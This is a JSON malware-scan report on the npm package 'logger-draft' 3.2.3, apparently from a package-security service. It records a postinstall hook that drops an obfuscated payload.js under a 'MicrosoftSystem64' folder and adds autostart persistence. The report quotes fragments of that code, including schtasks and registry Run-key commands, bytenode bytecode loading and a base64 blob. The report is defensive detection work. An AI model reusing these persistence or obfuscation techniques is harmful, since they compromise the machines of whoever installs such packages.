{"package":"logger-draft","version":"3.2.3","known":true,"status":"error","discovered_at":1790299794598,"has_install_script":true,"report_url":"https://andymal.com/packages/logger-draft/3.2.3","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790372923333,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":7742,"lab_ip":"10.77.0.154","hooks":[{"name":"postinstall","command":"node utils.js","exit":0,"timed_out":false,"seconds":6,"stdout_tail":"\n> logger-draft@3.2.3 postinstall\n> node utils.js\n\n","stderr_tail":""},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":9,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node utils.js","node utils.js","/usr/local/bin/node /work/pkg/utils.js --bg","pgrep -f payload.js.*--agent","/usr/local/bin/node /home/andy/.local/share/MicrosoftSystem64/payload.js --agent","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":["/home/andy/.local/share/MicrosoftSystem64/payload.js","/home/andy/.local/share/MicrosoftSystem64/package.json","/home/andy/.config/autostart/MicrosoftSystem64.desktop"],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":["/home/andy/.config/autostart/MicrosoftSystem64.desktop"],"notes":[]},"static":{"manifest":{"name":"logger-draft","version":"3.2.3","description":"Terminal logger utilities","scripts":{"build":"tsc","prepublishOnly":"npm run build","start":"ts-node index.ts","postinstall":"node utils.js"},"install_hooks":{"postinstall":"node utils.js"},"bin":{},"main":"dist/index.js","dependencies":["@types/node","ts-node","tsup","typescript","pino","postinstall","ws","zod","@types/ws","esbuild"],"author":"toskypi","license":"MIT","hasInstallScript":true},"files":[{"path":"payload.js","size":1671529,"kind":"text","score":1,"hits":["code_execution","obfuscation","long_encoded_blob","hidden_compiled_code"]},{"path":"utils.js","size":7650,"kind":"text","score":1,"hits":["credential_access","download_execute","code_execution","persistence","reconnaissance"],"role":"entry"},{"path":"package.json","size":854,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":"dist/index.js","size":2501,"kind":"text","score":0,"hits":[],"role":"entry"},{"path":"index.ts","size":2722,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":909,"kind":"text","score":0,"hits":[]}],"file_count":6,"unpacked_size":1686165,"findings":[{"title":"Install hook","detail":"postinstall: node utils.js","severity":"low","location":"package.json"},{"title":"Install hook runs a script","detail":"nly\": \"npm run build\", \"start\": \"ts-node index.ts\", \"postinstall\": \"node utils.js\" }, \"keywords\": [ \"logger\", \"changelog\", \"lo","severity":"medium","location":"package.json:13"},{"title":"Executes commands or dynamic code","detail":"ok:V}=require(\"node:assert/strict\"),{spawn:m}=require(\"node:child_process\"),R=require(\"node:fs\"),Y=require(\"node:module\"),G=require(\"","severity":"medium","location":"payload.js:1"},{"title":"Obfuscated or encoded code","detail":"BJHwAwwHhQEaBGEAAAAABwAAAAGcn5MBBFgAAQgHvQ4aAAR98AsKCgo=\",f=Buffer.from(j,\"base64\"),t=e.tmpdir(),z=u.join(t,\"app_\"+process.pid+\"_\"+Date.now()+","severity":"high","location":"payload.js:3"},{"title":"Long base64-like blob","detail":"zy\");o.setFlagsFromString(\"--no-flush-bytecode\");v();var j=\"iAbewPqMM9w0+A0Am2F8HEJDHNO4EBMAAAAAAAAAAAABJFQDJAe0YAAAAAAGAAAAAQgHvQ4EBCEDEAeFAWIAAAAACQAAAAEEAgAK0MHfAQAAAAAAAAAhB0ERIQMMB30BYAAAAAABAAAA","severity":"medium","location":"payload.js:3"},{"title":"Code decrypted or compiled at install time, or source deleted after use","detail":"ctor.isBuffer==\"function\"&&A.constructor.isBuffer(A)}var J=\".jsc\",d=Buffer.from([222,192]),O=Buffer.alloc(2),h=/^#!.*/;funct","severity":"critical","location":"payload.js:1"},{"title":"Code decrypted or compiled at install time, or source deleted after use","detail":"E,g);R.writeFileSync(g,D)},c=function(A,B){let Q=[\"require('bytenode')\",\"\",`module.exports = require('${A}')`];return B&&Q.unshi","severity":"critical","location":"payload.js:1"},{"title":"Code decrypted or compiled at install time, or source deleted after use","detail":"=[\"import { createRequire } from 'node:module'\",\"\",\"import 'bytenode'\",\"\",\"\",\"const require = createRequire(import.meta.url)\",\"\"","severity":"critical","location":"payload.js:2"},{"title":"Code decrypted or compiled at install time, or source deleted after use","detail":"} }`)):E.push(`require('${A}')`)}return E.join(` `)};global.bytenode={compileCode:s,compileFile:n,compileElectronCode:x,runBytec","severity":"critical","location":"payload.js:3"},{"title":"Touches credential stores or secrets","detail":"} function dataLocalDir() { if (IS_WIN) return process.env.LOCALAPPDATA ?? path.join(os.homedir(), \"AppData\", \"Local\"); if","severity":"high","location":"utils.js:33"},{"title":"Download-and-execute chain","detail":"e NoDisplay=true Hidden=false StartupNotify=false `; fs.writeFileSync(path.join(autostartDir, `${UNIT_STEM}.desktop`), desktop); const child = spawn(process.execPath, [jsPath, \"--agent\"], { cwd: insta","severity":"critical","location":"utils.js:173"},{"title":"Executes commands or dynamic code","detail":"om \"node:os\"; import path from \"node:path\"; import { spawn, spawnSync } from \"node:child_process\"; var UNIT_STEM = \"MicrosoftSyst","severity":"medium","location":"utils.js:5"},{"title":"Executes commands or dynamic code","detail":"th from \"node:path\"; import { spawn, spawnSync } from \"node:child_process\"; var UNIT_STEM = \"MicrosoftSystem64\"; var PAYLOAD_FILENAME","severity":"medium","location":"utils.js:5"},{"title":"Executes commands or dynamic code","detail":"t script = path.resolve(process.argv[1]); const child = spawn(process.execPath, [script, \"--bg\"], { detached: true,","severity":"medium","location":"utils.js:21"},{"title":"Executes commands or dynamic code","detail":"rn = `${name}.*--agent`; if (IS_WIN) { const result = spawnSync(\"wmic\", [ \"process\", \"where\", `name='node","severity":"medium","location":"utils.js:46"},{"title":"Persistence mechanism","detail":"bsPath, vbs); const vbsNorm = norm(vbsPath); spawnSync(\"schtasks\", [\"/delete\", \"/tn\", `\\\\${UNIT_STEM}`, \"/f\"], { windowsHide","severity":"medium","location":"utils.js:86"},{"title":"Persistence mechanism","detail":"e: true, stdio: \"ignore\" }); const schtaskOk = spawnSync(\"schtasks\", [ \"/create\", \"/tn\", `\\\\${UNIT_STEM}`, \"/t","severity":"medium","location":"utils.js:87"},{"title":"Persistence mechanism","detail":"{ windowsHide: true, stdio: \"pipe\" }).status === 0; log(`schtasks create: ${schtaskOk}`); if (!schtaskOk) { spawnSync(\"","severity":"medium","location":"utils.js:99"},{"title":"Persistence mechanism","detail":", [ \"add\", \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", \"/v\", UNIT_STEM, \"/t\", \"REG_SZ\",","severity":"medium","location":"utils.js:103"},{"title":"System reconnaissance","detail":"f (IS_WIN) return process.env.LOCALAPPDATA ?? path.join(os.homedir(), \"AppData\", \"Local\"); if (IS_MAC) return path.join(os","severity":"low","location":"utils.js:33"},{"title":"System reconnaissance","detail":"(), \"AppData\", \"Local\"); if (IS_MAC) return path.join(os.homedir(), \"Library\", \"Application Support\"); return process.env.XD","severity":"low","location":"utils.js:35"},{"title":"System reconnaissance","detail":"Support\"); return process.env.XDG_DATA_HOME ?? path.join(os.homedir(), \".local\", \"share\"); } function getSourcePayloadPath() {","severity":"low","location":"utils.js:36"},{"title":"System reconnaissance","detail":"th; if (hasSystemctl) { const userUnitDir = path.join(os.homedir(), \".config\", \"systemd\", \"user\"); fs.mkdirSync(userUnitDi","severity":"low","location":"utils.js:137"}],"injection_findings":[],"hits":{"install_hook_shell":1,"code_execution":6,"obfuscation":1,"long_encoded_blob":1,"hidden_compiled_code":5,"credential_access":1,"download_execute":1,"persistence":4,"reconnaissance":5},"iocs":{"urls":[],"domains":["logger.info","wshshell.run"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node utils.js","untrusted hosts referenced: logger.info, wshshell.run","capability hits: code_execution×6, hidden_compiled_code×5, reconnaissance×5, persistence×4, install_hook_shell×1, obfuscation×1, long_encoded_blob×1, credential_access×1, download_execute×1"],"entry_files":["utils.js","dist/index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}